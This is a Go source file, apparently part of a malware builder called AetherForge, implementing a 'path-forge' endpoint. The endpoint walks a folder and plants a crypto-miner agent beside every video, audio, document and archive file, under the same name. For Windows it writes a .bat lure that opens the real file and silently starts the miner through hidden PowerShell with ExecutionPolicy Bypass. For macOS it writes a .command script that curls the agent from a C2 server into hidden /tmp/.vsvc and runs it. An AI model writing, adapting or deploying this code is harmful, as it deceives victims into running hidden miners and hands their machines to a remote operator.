Files
AetherForge/server/internal/builder/pathforge.go

249 lines
7.2 KiB
Go

package builder
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"path/filepath"
"strings"
)
// PathForgeRequest is the JSON body for POST /api/builder/path-forge.
type PathForgeRequest struct {
// RootPath is the local filesystem path to walk recursively.
RootPath string `json:"root_path"`
// StemMode controls how the output filename is derived:
// "original" → same stem as the source file (Terminator.mkv → Terminator.exe)
// "custom" → use OutputStem for every file
StemMode string `json:"stem_mode"` // "original" | "custom"
// OutputStem is used when StemMode == "custom".
OutputStem string `json:"output_stem"`
// TargetWindows / TargetMac selects which launcher files to write.
TargetWindows bool `json:"target_windows"`
TargetMac bool `json:"target_mac"`
// ServerURL is embedded in the Mac bootstrap curl command.
ServerURL string `json:"server_url"`
// Extensions lists file extensions to target (dot-prefixed, lowercase).
// Leave empty to use the built-in media list.
Extensions []string `json:"extensions"`
}
// PathForgeResult is returned by the handler.
type PathForgeResult struct {
Success bool `json:"success"`
Total int `json:"total"`
Placed int `json:"placed"`
Skipped int `json:"skipped"`
Errors int `json:"errors"`
Results []PathForgeEntry `json:"results"`
ErrorList []string `json:"error_list,omitempty"`
}
type PathForgeEntry struct {
Source string `json:"source"` // original file (relative to root)
Files []string `json:"files"` // companion files placed
}
// defaultMediaExts is the set of file extensions we target when none are specified.
var defaultMediaExts = map[string]struct{}{
".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
".iso": {}, ".mpg": {}, ".mpeg": {}, ".mp3": {}, ".flac": {},
".m4a": {}, ".wav": {}, ".aac": {}, ".ogg": {}, ".pdf": {},
".docx": {}, ".xlsx": {}, ".pptx": {}, ".zip": {}, ".rar": {},
}
// PathForgeHandler handles POST /api/builder/path-forge.
// It does not compile anything — it locates the prebuilt agent binary that
// lives next to AetherForge.exe and copies it alongside every matching file.
type PathForgeHandler struct {
dataDir string
}
func NewPathForgeHandler(dataDir string) *PathForgeHandler {
return &PathForgeHandler{dataDir: dataDir}
}
func (h *PathForgeHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
var req PathForgeRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON: "+err.Error(), http.StatusBadRequest)
return
}
if req.RootPath == "" {
http.Error(w, "root_path is required", http.StatusBadRequest)
return
}
if !req.TargetWindows && !req.TargetMac {
req.TargetWindows = true
req.TargetMac = true
}
if req.StemMode == "" {
req.StemMode = "original"
}
// Locate the Windows agent binary.
agentExe := findAgentBinary()
// Build the extension set.
extSet := buildExtSet(req.Extensions)
res := &PathForgeResult{Success: true}
err := filepath.WalkDir(req.RootPath, func(path string, d os.DirEntry, err error) error {
if err != nil || d.IsDir() {
return nil
}
ext := strings.ToLower(filepath.Ext(d.Name()))
if _, ok := extSet[ext]; !ok {
return nil
}
res.Total++
rel, _ := filepath.Rel(req.RootPath, path)
stem := stemFor(req.StemMode, req.OutputStem, d.Name())
dir := filepath.Dir(path)
var placed []string
if req.TargetWindows && agentExe != "" {
// .exe copy of the agent
exeDst := filepath.Join(dir, stem+".exe")
if copyFileBytes(agentExe, exeDst) == nil {
placed = append(placed, stem+".exe")
}
// .bat launcher that opens the original file AND runs the agent
batDst := filepath.Join(dir, stem+".bat")
if err := os.WriteFile(batDst, []byte(batContent(d.Name(), stem)), 0644); err == nil {
placed = append(placed, stem+".bat")
}
}
if req.TargetMac {
cmdDst := filepath.Join(dir, stem+".command")
if err := os.WriteFile(cmdDst, []byte(macContent(d.Name(), req.ServerURL)), 0755); err == nil {
placed = append(placed, stem+".command")
}
}
if len(placed) > 0 {
res.Placed += len(placed)
res.Results = append(res.Results, PathForgeEntry{Source: rel, Files: placed})
} else {
res.Errors++
res.ErrorList = append(res.ErrorList, "failed to write next to: "+rel)
}
return nil
})
if err != nil {
log.Printf("[pathforge] walk error: %v", err)
res.ErrorList = append(res.ErrorList, "walk error: "+err.Error())
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(res)
}
// ─── helpers ──────────────────────────────────────────────────────────────────
func stemFor(mode, custom, filename string) string {
if mode == "custom" && strings.TrimSpace(custom) != "" {
return sanitizeStem(custom)
}
base := filepath.Base(filename)
name := strings.TrimSuffix(base, filepath.Ext(base))
return sanitizeStem(name)
}
func sanitizeStem(s string) string {
replacer := strings.NewReplacer(
"/", "-", "\\", "-", ":", "-",
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
)
return strings.TrimSpace(replacer.Replace(s))
}
// batContent creates a .bat file that opens the original media file with the
// default Windows player, then silently starts the agent exe.
func batContent(originalFile, exeStem string) string {
return "@echo off\r\n" +
fmt.Sprintf("start \"\" \"%%~dp0%s\"\r\n", originalFile) +
fmt.Sprintf("powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass "+
"-Command \"& { Start-Process '%%~dp0%s.exe' -WindowStyle Hidden }\"\r\n", exeStem)
}
// macContent creates a .command shell script that opens the original file on
// macOS and downloads + runs the agent from the C2 server.
func macContent(originalFile, serverURL string) string {
dl := ""
if serverURL != "" {
dl = fmt.Sprintf(
"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
serverURL,
)
}
return "#!/bin/bash\n" +
fmt.Sprintf("open \"$(dirname \"$0\")/%s\" 2>/dev/null\n", originalFile) +
dl
}
// findAgentBinary looks next to the server executable for the agent binary.
func findAgentBinary() string {
exe, err := os.Executable()
if err != nil {
return ""
}
dir := filepath.Dir(exe)
candidates := []string{
filepath.Join(dir, "agent", "crypto-miner-agent.exe"),
filepath.Join(dir, "crypto-miner-agent.exe"),
}
for _, c := range candidates {
if _, err := os.Stat(c); err == nil {
return c
}
}
return ""
}
// buildExtSet merges user-specified extensions with defaults.
func buildExtSet(exts []string) map[string]struct{} {
if len(exts) == 0 {
return defaultMediaExts
}
m := make(map[string]struct{}, len(exts))
for _, e := range exts {
if !strings.HasPrefix(e, ".") {
e = "." + e
}
m[strings.ToLower(e)] = struct{}{}
}
return m
}
func copyFileBytes(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}